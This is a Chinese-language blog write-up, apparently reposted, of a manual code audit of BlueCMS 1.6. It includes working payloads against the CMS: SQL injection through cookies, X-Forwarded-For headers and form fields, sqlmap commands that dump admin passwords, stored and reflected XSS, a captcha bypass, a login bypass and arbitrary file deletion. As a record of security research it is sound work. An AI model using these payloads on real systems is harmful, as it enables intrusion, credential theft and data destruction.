首页 > 其他分享 >Bluecms 1.6 代码审计过程(共计 74 个漏洞)

Bluecms 1.6 代码审计过程(共计 74 个漏洞)

时间:2024-10-23 20:21:50浏览次数:3  
标签:Blue 1.6 name admin Content 漏洞 74 Bluecms php

目录

前言

        此处审计共计74个漏洞,通过此次挖掘到的漏洞类型有 Sql注入、xss、任意文件删除、任意文件写入、未授权访问、SSRF、Cookie鉴权问题、验证码绕过等。

        BlueCMS早在10几年前就有了,百度一搜BlueCMS基本都是审计文章,但此次审计不是为了挖洞而审计,笔者想学习代码的运作方式以及漏洞产生的方式而审计,所以这次审计我并没有上一些自动化工具,而是通过全文通读的方式去了解到漏洞的本质。

        此次审计让我学习到了很多东西,也让我挖到了一些有意思的漏洞,例如:通过二次写入置空绕过addslashes进行Getshell(编号74)、利用insert Sql 注入数据配合 unlink 函数达到文件删除的效果(编号63)、cookie鉴权问题(编号32)、xss的限制字符长度的绕过(编号58)、绕过addslashes文件内容写入Getshell(编号71)、SSRF(编号73)以及MD5碰撞(编号27)等。

        文中大多漏洞都是XSS以及Sql注入,SQL漏洞产生的原因其实就是 addslashes 可绕过达到注入,而 xss 漏洞基本都是从数据库查询出来时没有经过二次转译而产生的,这类漏洞可以直接跳过,可以重点关注上面笔者提到的漏洞(在每个漏洞前都会有一个数字编号)。

安装步骤

源码下载地址:https://jwt1399.lanzoui.com/inPwSde6c5a

PHP版本设置:php5.3.29(太高了有些函数使用不了导致报错)

  1. 将uploads下的所有文件移动到网站根目录下

  2. 给以下目录777权限

   	'data',
   	   'data/cache',
   	   'data/upload',
   	   'data/compile',
   	   'data/backup',
   	'include'
   	'install'

  1. 打开网站,进入install目录,填写数据库信息、web管理密码安装即可

image-20241016182912284

网站结构

用编辑器打开记得使用GBK编码,不然会中文乱码

image-20241016223458970

入口文件审计

入口文件 index.php,定义了一个常量 IN_BLUE 为 True,另外两行代码则是包含了两个php文件

image-20241016224658769

笔者使用的是PhpStorm ,鼠标选中 common.inc.php ,ctrl+B 快捷键可以快速找到声明处。

前面几行都是引入函数、配置变量、打开session等。

41行开始出现对 GET、POST、cookies、REQUEST系统变量进行 addslashes 过滤

image-20241017005239246

deep_addslashes 函数是 include/common.fun.php 文件引入的一个函数,其功能就是无限递归,使用 addslashes 函数过滤一遍我们输入的内容

image-20241017005537186

1. include/common.fun.php user_name 参数存在Cookie Sql注入漏洞

往下翻 117行,存在一个cookie注入,达成的条件有

  1. $_SESSION[‘user_id’] 不存在
  2. 存在 $_COOKIE['BLUE']['user_name']

image-20241017035710609

但是 sql执行之后,并没有显示结果在页面上,刚开始想尝试报错注入发现行不通,发现 sql 报错显示信息已经被修改过了

image-20241017040019302

跟进 $db->query 函数,在 include/mysql.class.php 文件可看到优化了报错语句显示的代码

image-20241017040237961

那么只能使用时间注入进行尝试,发现延时成功(此处为什么没有被 addslashes 函数进行转译?我突然反应过来 deep_addslashes 过滤的是 $_COOKIES,多了一个S在后面,并不是$_COOKIE

image-20241017040327712

sqlmap 一把梭

GET / HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: BLUE[user_name]=-1*
Connection: keep-alive


sqlmap -r test.txt -D bluecms -T blue_admin -C admin_name,pwd --dump

image-20241017041400138

2. templates/default/user.htm 存在 Cookie self Xss 反射型漏洞

include/common.fun.php 发现用 cookie 记录用户名,刚开始只是想着此处有注入,尝试修改cookie之后发现直接显示在页面上

image-20241017033703523

payload:

Cookie:
BLUE[user_name]= 1</font><script>alert()</script>

image-20241017033830415

查看前段源代码

image-20241017033900681

前端 templates/default/user.htm 未过滤直接将 $user_name 显示在页面上

image-20241017033938119

然后往下 include/common.fun.php 文件就审计完毕,继续进入index.php入口文件,查看下一个包含的文件include/index.fun.php

该文件各种主页功能函数调用的方法,可以看到一堆 sql 及函数调用

image-20241017042729237

接下来则是 do_task('update_info'); 函数,跟进函数,应该是一个更新任务及信息的一个函数运行,如果时间小于 $timestamp 则包含 include/task/update_info.php 文件

image-20241017044903359

image-20241017045136573

然后往下就是读取缓存文件、热门新闻、获取文章等获取数据的操作,然后通过 smarty 渲染到前端上

image-20241017050453950

正式审计过程

入口文件审计发现了两个漏洞,下面正式开始审计其他文件。

3. ad_js.php 文件 ad_id 参数存在 SQL注入漏洞

根据目录文件从上往下看 ,首先分析ad_js.php文件,该文件并没有对 $_GET['ad_id']参数进行其他过滤,且最后赋值到$ad_content 显示出来

image-20241023194816687

单引号测试,addslashes 确实有效果,但是这里并没有进行闭合,可以直接注入测试

image-20241017132621099

payload

/ad_js.php?ad_id=-1+union+select+1,2,3,4,5,6,pwd+from+blue_admin

image-20241017132859431

4. ad_js.php 文件 ad_id 参数存在 反射型XSS漏洞

通过源码分析,我们输入的参数会直接调用 $db->getone 去执行 ,一路追踪 mysql.class.php文件

image-20241017133535976

如果 sql 执行错误 ,则调用 dbshow函数,将sql语句传输进入该函数中

image-20241017133707589

输出 $msg(就是传输进来的sql语句),最后exit退出

image-20241017133746498

我们输入的语句会原样输出

payload:
/ad_js.php?ad_id=<script>alert()</script>

image-20241017134041622

image-20241017134106903

那这样来说,有Sql执行的地方只要有Sql报错,基本都会出现 反射型 xss漏洞。

comment.php 文件 getip() 函数 漏洞点

跳过了两个文件 ann.phpcategory.php,传输进去的参数基本都被intval 强转为整型了,并没有看到其他利用点

comment.php刚开始传输的两个参数也被强转了

image-20241017143048617

往下翻,act=send,comment提交的内容也被 htmlspecialchars 函数给实体化了

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &
  • " (双引号)成为 "
  • ’ (单引号)成为 ’
  • < (小于)成为 <
  • > (大于)成为 >

image-20241017143228849

但是稍微注意看一下sql执行的参数,getip() 参数,跳转到声明除,是获取我们客户端使用的ip

image-20241017143459359

也就是说,当我们能利用 xff 修改当前ip时,就有可能出现sql注入。而且这些系统常量并没有进行 addslashes 过滤

image-20241017143614036

5. 时间注入

尝试在xff头进行sql注入,延时成功

payload:

POST /comment.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 23
X-Forwarded-For: 127.0.0.1' and sleep(3) and '
Content-Type: application/x-www-form-urlencoded

act=send&id=1&comment=1

image-20241017144035542

延时注入的话还是一如即往的sqlmap一把梭

sqlmap -r test.txt -D bluecms -T blue_admin -C admin_name,pwd --dump

image-20241017144617383

6. 显注

但是盲注怎么能满足我们呢,继续分析,当我们insert into语句执行,发布评论成功后,他会跳转链接供我们查看我们发布的内容

image-20241017150254215

访问看一下,我们插入的内容都会在这里显示出来

image-20241017150338235

image-20241017154014026

继续通过 insert into 插入多条语句,将admin的密码显示到插入到 content 字段上,显示在前端

payload:

POST /comment.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 23
X-Forwarded-For: 127.0.0.1',1),(12312,'1','0','0','0',(select pwd from blue_admin),'1729145351','127.0.0.1','1')#
Content-Type: application/x-www-form-urlencoded

act=send&id=1&comment=1

image-20241017154201426

7. 存储型XSS

再想想这个利用点,他能将我们输入的内容select查询直接显示在页面上,那么是不是也会产生xss漏洞

poc:

POST /comment.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 23
X-Forwarded-For: 127.0.0.1',1),('','1','0','0','0','<script>alert()</script>','1729145351','127.0.0.1','1')#
Content-Type: application/x-www-form-urlencoded

act=send&id=1&comment=1

image-20241017165333987

image-20241017165405069

当然,这里也可以利用数据库的报错进行一个 xff self xss

image-20241017165537045

guest_book.php $online_ip 漏洞点

通过代码分析,该漏洞点跟上个漏洞一样,找到 $online_ip声明处,调用的也是 getip() 函数,就不过多的代码分析,直接上payload

image-20241017161314905

image-20241017161417523

8. 时间注入

时间注入poc:

POST /guest_book.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 18
X-Forwarded-For: 127.0.0.1' and sleep(3) and '
Content-Type: application/x-www-form-urlencoded

act=send&content=1

image-20241017161517279

9. 显注

显注poc

POST /guest_book.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 28
X-Forwarded-For: 127.0.0.1','1'),('', '1', '1', '1', '1', (select pwd from blue_admin))#
Content-Type: application/x-www-form-urlencoded

act=send&content=1&page_id=1

guest_book.php?page_id=1

image-20241017162410795

10. 存储型xss
POST /guest_book.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 28
X-Forwarded-For: 127.0.0.1','<script>alert()</script>')#
Content-Type: application/x-www-form-urlencoded

act=send&content=1&page_id=1

image-20241017163417700

image-20241017163536835

publish.php 文件

该文件是需要在登录环境下才能访问

image-20241017234357959

11. 时间注入

进入 do_pub 判断,首先需要我们提交各种参数,不然会直接退出当前代码

image-20241017233657624

总结了以下需要提交的参数,is_recommend、top_type、is_head_line等有几个参数可以先不用提交

htmlspecialchars(trim($_POST['title']))//实体化
intval($_POST['area'])								//强转整型
intval($_POST['useful_time']);				//强转整型
htmlspecialchars($_POST['content'])		//实体化
$_POST['is_recommend'];								//未过滤
$_POST['rec_time'];										//提交 is_recommend 后需要提交 rec_time 且需要1个数字开头1个数字结尾
$_POST['top_type'];										//未过滤
$_POST['top_time'];									//提交 top_type 后需要提交 top_time 且需要1个数字开头1个数字结尾
$_POST['is_head_line'];							//同上
$_POST['head_line_time'];						//同上
//以下5个均实体化
$link_man = !empty($_POST['link_man']) ? htmlspecialchars(trim($_POST['link_man'])) : '';
$link_phone = !empty($_POST['link_phone']) ? htmlspecialchars(trim($_POST['link_phone'])) : 0;
$link_email = !empty($_POST['link_email']) ? htmlspecialchars(trim($_POST['link_email'])) : '';
$link_qq = !empty($_POST['link_qq']) ? htmlspecialchars(trim($_POST['link_qq'])) : 0;
$link_address = !empty($_POST['link_address']) ? htmlspecialchars(trim($_POST['link_address'])) : '';

就类似于 top_type ,如果提交了就会进入交易判断

image-20241017234156870

然后240行代码 ,$online_ip 变量还是会带入到insert into语句中执行

image-20241017234247443

老样子 sleep进行延时测试

POST /publish.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85
X-Forwarded-For: 127.0.0.1' and sleep(3) and '
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

act=do_pub&title=1&area=1&useful_time=1&content=1&link_man=1&link_phone=1

image-20241017234519843

12. del_pic delete 注入

继续往下 316 行,id 参数未过滤,直接进入sql语句中执行

image-20241018020141573

这里建议用 or 且一个不存在的id,实战中如果删除到用户数据是一件很糟糕的事

而且 and 去 sleep 的话 需要 id 匹配成功 才会去执行sleep,当然 我们宽字节带入了一些脏字符,是肯定匹配不成功的

image-20241018020342207

这里为什么是延迟了13秒,是因为数据库中有4条语句,delete会对 pic_path 列的所有记录进行对比,如果 pic_path 等于 $id 则删除,每执行一次对比就睡眠 3 秒 ,执行了 4 次,一共12秒,还有一秒估计是网页延迟

image-20241018023206574

13. del_pic 任意文件删除

往后两行就是一个任意删除文件的代码,$id 拼接 BLUE_ROOT 跟路径,如果文件存在,则直接 unlink() 删除

image-20241023182716476

poc:

POST /publish.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

act=del_pic&id=1.txt

最后一段代码 $type 参数未过滤,直接带入到sql中执行,但是我添加参数后发现sql语句执行失败

image-20241018031717351

image-20241018031828793

看了一眼数据库并没有blue_price表,这个点就先放弃了

image-20241018031847022

14. Search.php 文件 搜索型注入

一共 3 个我们可控的参数,$cid$aid都进行了强转, $keywords 去除两边空格

image-20241018142424261

往下看,如果$keywords 不为空,则拼接到 $condition变量中,然后调用数据库函数执行sql语句$db->getone

image-20241018142711677

这里有点小坑,首先根据 Sql 语句分析,是一个分页显示的功能,该语句只是获取了一个总数 COUNT(*),刚开始我想着直接闭合 like '%%',然后union select 去进行联合查询,但是事情没有我想的那么简单

按照正常流程 ,先执行order by 2,发现报错

image-20241018150208123

order by 1 正常

image-20241018150255449

当使用 union select 1 的时候就出现了另外一处 Sql语句的报错了

image-20241018150350853

往下读取代码,发现了另外一条语句也拼接了 $condition ,两条语句的查询出来的字段数不一致,导致不能执行联合查询

image-20241018150459629

然后我就想着直接执行 or sleep(3)试试,服务器直接报 500 ,原因应该是会对blue_post表中的每一条记录进行对比,记录太多会导致服务器睡眠太久

image-20241018150949528

那么换个思路,我们先让系统查询出一条记录

image-20241018151120675

然后再 and sleep进行延时,发现延时成功

image-20241018151146691

当然不一定只有延时,既然我们能显示数据和页面,也可以使用盲注进行测试

image-20241018151333167

image-20241018151344468

剩下的就是sqlmap一把梭了

POST /search.php HTTP/1.1
Host: 192.168.1.8:86
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

cid=&aid=&keywords=_%%df' or post_id = 1 *%23
sqlmap -r test.txt --dbms="Mysql"

image-20241018151715177

User.php 文件多处漏洞

User 文件很大,有差不多 1000 行 ,功能点多,我们就从注册模块开始审计

image-20241018161117012

直接跳到 116 行 $act == 'reg',首先判断用户有没有登录,紧接着匹配一下上次注册的时间,如果小于 30 秒就禁止注册,最后是通过 $smarty 渲染前端模版。

image-20241018161432204

15. 检测用户名处 user_name 参数存在sql注入

查看一下 reg.html,调用了一个onblur事件,当用户失去焦点的时候执行 check_user_name() 函数

image-20241018161719424

找到声明处 templates/default/css/reg.js,首先判断输入的字符串名是否合规,不合规直接 return,最后调用 getData函数

image-20241018161916516

templates/default/css/common.js找到 getData声明处,可以看到是一个利用 AJAX 发起的异步请求

image-20241018162923212

手动拼接一下 queryString内容,这次请求进入了 user.php 文件的 act=check_user_name 判断

/user.php?user_name=test&timestamp=1&act=check_user_name

继续进入到 user.php 文件搜索关键字 check_user_name

image-20241018163626096

include/user.fun.php 中找到 check_user_name 函数声明,可以看到带入的 $user_name参数并没有进行任何过滤,直接带入到 Sql 中执行。

image-20241018163935007

测试payload

/user.php?user_name=test%df'+or+1=2%23&timestamp=1&act=check_user_name
/user.php?user_name=test%df'+or+1=1%23&timestamp=1&act=check_user_name

image-20241018174613654

image-20241018174711086

老样子,SQLmap 一把梭

sqlmap -u "http://192.168.1.8:86/user.php?user_name=test%df'*%23&timestamp=1&act=check_user_name"

image-20241018175007847

16. 注册提交,验证码绕过漏洞

接下来就是提交注册功能,分析 do_reg,提交的验证码转为小写,然后将session和我们提交的验证码对比,如果不正确,则退出当前代码,提示验证码错误

image-20241018181013120

这样一想,那么我们只需要将 Session 删除 及 提交的验证码为空,两者一比较,则为 true,先抓个包,提交个错的验证码

image-20241018181322593

然后删除验证码及Session即可绕过

image-20241018181818203

难以利用的Sql注入

继续分析代码,还是可以看到 $user_name 只是去空,但是限制了payload长度为 16 字符

image-20241018183211325

缩短字符进行 sleep() 测试,还不能使用 and sleep,因为并没有查询到任何用户,使用 or 去 sleep 会发现延时多久完全取决于表中的记录,此处执行后我这里是延时 6 秒,因为我的 user 表有两条记录,admin表一条。

image-20241018183708118

由于限制较大就先放弃这个点了。

17. 注册点功能 insert Sql注入

继续往下分析代码,既然 user_name 限制了字符串长度,那么还有 pwd 、email 可以用,而 pwd 需要与 pwd1 做对比,那么我们首先选择容易的点去进行利用

image-20241018184622456

提交注册进行测试,拼接语句及闭合,发现可以注册成功

referer=&user_name=test2&pwd=test1test&pwd1=test1test&email=adad%40qq.com%df',1,1)%23&safecode=&from=&act=do_reg

image-20241018195849945

延时测试

referer=&user_name=test3&pwd=123456&pwd1=123456&email=aa%40qq.com%df' or sleep(3),1,1)%23&safecode=7nc7&from=&act=do_reg

image-20241019200233865

那么这里直接丢到 Sqlmap中不好跑,因为 test2用户我们已经注册过了,当我们再次提交payload的时候会直接提示 用户名已存在,即使随机字符串去跑,估计也是只能跑出延时注入或者布尔盲注

image-20241018200043501

那么我们换个思路,我们可以将 blue_admin 表 管理员的密码 插入到 email 字段中,然后登录上去查看一下不就好了?

接下来是踩坑日记,摸了很久的坑

刚开始想着,直接查询 admin 表中的pwd字段,然后拼接在 email 中就可以了。

referer=&user_name=test5&pwd=123456&pwd1=123456&email=%df'%2b(select pwd from blue_admin),1,1)%23&safecode=&from=&act=do_reg

image-20241018200401048

插入成功,心里想着直接登录,查看用户信息就能看到用户密码了。登录上去的时候尴尬了,怎么只显示了5个字符,尝试了很多方法都没有能一次性显示所有字符串,刚开始还想着可能是字符长度问题,不能直接拼接插入到数据库中

image-20241018203016666

那就算了,既然不能一次性读取出来,那就利用 substring 函数一点一点读出来就好了,大概注册个7次就可以把admin读出来了

  • substring(str, pos, length),即:substring(被截取字符串,从第几位开始截取,截取长度)
POST /user.php HTTP/1.1
Host: 192.168.1.8:86
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=
Priority: u=0, i
Content-Length: 139

referer=&user_name=test8&pwd=123456&pwd1=123456&email=%df'%2b(select substring(pwd,6,5) from blue_admin),1,1)%23&safecode=&from=&act=do_reg

image-20241018205346477

然后登录后,又一次尴尬,怎么回事,只显示一个 0 。

image-20241019201727077

搞了很久,都没想明白,因为全文的 insert into 多数都存在注入点,都是一个样,一直没能显示全部的 pwd 字段的内容,正当我百思不得其姐时,搜了一下 Mysql 字符串拼接问题。

image-20241019202117035

Mysql 并不支持 + 号直接进行字符串拼接,属实是怪我自己基础没有打好,就会踩无数个坑,那么我又不能使用函数拼接,只能进行闭合,该怎么办呢?这个时候可以改变一下思路,直接一次性插入两条语句行不行?在插入第二条记录时就不用拼接,直接将 admin 密码插入 email 字段中,这里要注意两点:

  1. 我们不能输入字符串,因为需要 单双引号 进行闭合
  2. 插入密码时需要插入 md5 才能登录上

那么我们直接将需要插入字符串的字段,用hex进行代替

密码需要先进行 md5 加密,然后在进行 hex Encode

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 226
Origin: http://192.168.1.9:86
Connection: keep-alive
Referer: http://192.168.1.9:86/user.php?act=reg
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=1
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i

referer=&user_name=test5&pwd=123456&pwd1=123456&email=aa%40qq.com%df',1,1),(14,0x7465737438,0x6531306164633339343962613539616262653536653035376632306638383365,(select pwd from blue_admin),1,1)%23&safecode=7nc7&from=&act=do_reg

image-20241019202629192

登录第二条记录的账号密码 test8/123456,在 email 上就可以看到 admin 的密码了

image-20241019203205238

而 pwd 参数也是一样,只不过闭合方式从%df' 变成了 %df')

image-20241018205748024

referer=&user_name=test114&pwd=123456%df'), 1, 1, 1)%23&pwd1=123456%df'), 1, 1, 1)%23&email=123&safecode=&from=&act=do_reg

image-20241018205952655

pwd字段可以直接在后面拼接,插入 密码 到 emali 上,而不用直接插入两条记录,这利用在后面的漏洞也会讲到

18. 注册功能点 $email 存储型XSS漏洞

还是一样分析注册功能模块代码,$email 参数并未进行 html 实体化操作

image-20241019030348183

登录进入后台后,也是直接查询数据出来直接提交到前端

image-20241019030528923

image-20241019030551176

poc

登录注册时,抓包修改 email 的内容进行弹窗测试

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Content-Length: 105

referer=&user_name=test1&pwd=123456&pwd1=123456&email=<script>alert()</script>&safecode=&from=&act=do_reg

image-20241019030706742

image-20241019030733984

什么?你说这不就是self XSS吗,有啥用?那么当你登录管理员后台,查看会员列表时,就会出现一个后台弹窗。

image-20241019031325460

19. 登录功能点 用户名 $user_name Sql注入漏洞

登录时提交的用户名未过滤直接带入到Sql注入中执行(这次验证码会判断是否为空,所以之前的那个验证码绕过漏洞已失效了。)

image-20241019032610390

但是查询的时候会先到 admin表中查询,所以万能账号在这里是不能生效的。

adaaaaa%df' or 1=1%23

image-20241019033006303

image-20241019033212656

老样子,sqlmap一把梭

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=1

referer=&user_name=ad%df'*%23&pwd=123&safecode=bxyf&useful_time=604800&submit=%B5%C7%C2%BC&from=&act=do_login

image-20241019033310595

20. 登录功能点 $pwd密码 万能密码

继续往下分析,如果不是系统用户组的用户,则将账号密码传输到login函数中

image-20241019033634855

跳转到 include/user.fun.php 文件 login 函数声明处。

首先会根据用户名进行查询,如果记录不等于0条,那么就会将账号密码去对比

image-20241019033844777

payload 需要闭合md5函数的括号

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=1
Content-Length: 115

referer=&user_name=test&pwd=%df') or 1=1%23&safecode=bxyf&useful_time=604800&submit=%B5%C7%C2%BC&from=&act=do_login

image-20241019034231033

21. 发布新闻功能(do_add_news) $_POST[‘content’] 存储型XSS漏洞

分析代码,从 255行代码开始就是新闻的功能,绝大多数参数都进行了html实体化,以及强制转整型,而唯独 c o n t e n t 、 content 、 content、descript 这两个参数没有

image-20241019170248500

$content参数调用了一个filter_data 函数去进行过滤,然而该参数只是过滤了一些简单的标签,我们可以直接使用其他标签进行弹窗测试

image-20241019170730178

poc

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------322974620713695991782113680628
Content-Length: 1219
Origin: http://192.168.1.9:86
Connection: keep-alive
Referer: http://192.168.1.9:86/user.php?act=add_news
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=1
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i

-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="title"

title12312
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="color"

color123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="cid"

1
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="author"

author123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="source"

source123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="lit_pic"; filename=""
Content-Type: application/octet-stream

lit_pic123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="descript"

descript123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="content"

<img src=x one rror="alert(1)">
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="act"

do_add_news
-----------------------------322974620713695991782113680628--

image-20241019170838420

发布文章后去首页查看文章,执行了我们插入的xss代码

image-20241019170912699

22. 发布新闻功能(do_add_news) $_POST[‘descript’] 存储型XSS漏洞

上一个漏洞只能在查看文章页弹窗,当我们从后台进行查看文章管理时,会发现 onerror 事件被转译了

image-20241019172402917

$descript也没有进行html实体化编码,直接插入数据库中

image-20241019172624060

$descript需要闭合 <textarea>标签

image-20241019172740934

直接打入poc

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Type: multipart/form-data; boundary=---------------------------322974620713695991782113680628
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=1
Content-Length: 1229

-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="title"

title12312
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="color"

color123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="cid"

1
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="author"

author123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="source"

source123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="lit_pic"; filename=""
Content-Type: application/octet-stream

lit_pic123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="descript"

</textarea><script>alert("descript123")</script>
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="content"

123
-----------------------------322974620713695991782113680628
Content-Disposition: form-data; name="act"

do_add_news
-----------------------------322974620713695991782113680628--

image-20241019172852782

后台管理员点击查看文章时会触发

image-20241019172933245

23. 发布新闻功能(do_add_news) Sql注入漏洞

上诉代码两个漏洞得知,未过滤直接insert into 插入到数据库中

image-20241019175709109

那么就可以直接构造 payload 通过 descript 参数进行 Sql注入,然后将admin账号密码显示在 content 内容里

image-20241019183814700

查看发布的文章

image-20241019183859759

23. 修改文章功能(do_edit_news)XSS Sql注入

修改文章功能和上面那3个洞都差不多

image-20241019193900548

XSS

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Type: multipart/form-data; boundary=---------------------------22145933197150690913971459451
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85
Content-Length: 1300

-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="title"

title12312
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="color"

color12
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="cid"

1
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="author"

author123
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="source"

source123
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="lit_pic2"; filename=""
Content-Type: application/octet-stream


-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="descript"

123
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="content"

<img src=# one rror="alert()">
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="id"

44
-----------------------------22145933197150690913971459451
Content-Disposition: form-data; name="act"

do_edit_news
-----------------------------22145933197150690913971459451--

image-20241019194108589

SQL 注入的话是 upload注入,稍微改一下语句就可以了

钟',content=(select pwd from blue_admin)#

image-20241019195531896

image-20241019195636713

24. 编辑个人资料功能(edit_user_info) face_pic3 参数 任意文件删除漏洞

刚刚步入这个模块就出现一个 unlink 函数,那么必定就有任意文件删除漏洞,而且该漏洞只需要提交两个参数即可触发

image-20241020023836717

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Cookie: PHPSESSID=v46rvle861a1vd1ub3ad795r85; detail=4
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

act=edit_user_info&face_pic3=test.php

image-20241020024010910

25. 编辑个人资料功能(edit_user_info) 多个参数存在 存储型 XSS漏洞

多个参数都没有进行 html 实体化

image-20241020042140801

这里只测试一个参数,其他参数大同小异

POST /user.php HTTP/1.1
Host: 192.168.1.9:86
Content-Length: 1470
Cache-Control: max-age=0
Origin: http://192.168.1.9:86
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYWN9eleFaElUxotA
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.9:86/user.php?act=my_info
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d72b7nfl8kd8l90l6t08vqev64; detail=4
Connection: keep-alive

------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="face_pic1"


------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="face_pic2"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="birthday"

1964-01-01
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="sex"

0
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="email"

<script>alert()</script>
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="msn"


------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="qq"


------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="office_phone"


------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="home_phone"


------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="mobile_phone"


------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="address"


------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="act"

edit_user_info
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="submit"

È·ÈÏÐÞ¸Ä
------WebKitFormBoundaryYWN9eleFaElUxotA
Content-Disposition: form-data; name="face_pic3"


------WebKitFormBoundaryYWN9eleFaElUxotA--

image-20241020042254497

后台管理员查看会员列表时将会弹窗

image-20241020042339452

